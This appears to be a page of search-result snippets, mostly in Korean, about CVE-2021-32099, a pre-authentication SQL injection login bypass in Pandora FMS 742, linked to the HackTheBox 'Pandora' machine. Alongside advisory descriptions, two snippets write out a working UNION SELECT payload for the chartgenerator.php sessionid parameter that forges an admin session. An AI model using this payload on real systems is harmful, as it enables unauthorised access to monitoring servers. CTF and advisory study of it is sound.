CVE-2021-32099_SQLi

CVE-2021-32099 SQLi 로그인 우회 Pandora.htb 에서 User Flag 를 읽으려고 할 때 유용합니다. CVE-2021-32099 SQLi는 공격자가 로그인을 우회할 수 있게 합니다. 대상 공격 대상: Pandora FMS v7.0NG.742FIXPERL2020 분석 cvedetail에서 읽어보세요. 대상 엔드포인트를 알고 있습니다: http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=PayloadHere = Access...

CVE-2021-32099

CVE-2021-32099 CVE-2021-32099 POC : http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=a%27%20UNION%20SELECT%20%27a%27,1,%27idusuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessionsphp%20WHERE%20%271%27=%271 상세 정보 :...

CVE-2021-32099

CVE-2021-32099 pandora fms 742 sqli 사전 인증 POC http://localhost/pandoraconsole/include/chartgenerator.php?sessionid=a' UNION SELECT 'a',1,'idusuario|s:5:"admin";' as data FROM tsessionsphp WHERE '1'='1 URL 인코딩...

CVE-2021-32099

A SQL injection vulnerability in the pandoraconsole component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chartgenerator.php sessionid parameter, leading to a login bypass...

CVE-2021-32099: Improper Neutralization of Special Elements used in an SQL Command

A SQL injection vulnerability in the pandoraconsole component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chartgenerator.php sessionid parameter, leading to a login bypass...

CVE-2020-26518: Improper Neutralization of Special Elements used in an SQL Command

Artica Pandora FMS before 743 allows unauthenticated attackers to conduct SQL injection attacks via the pandoraconsole/include/chartgenerator.php sessionid parameter...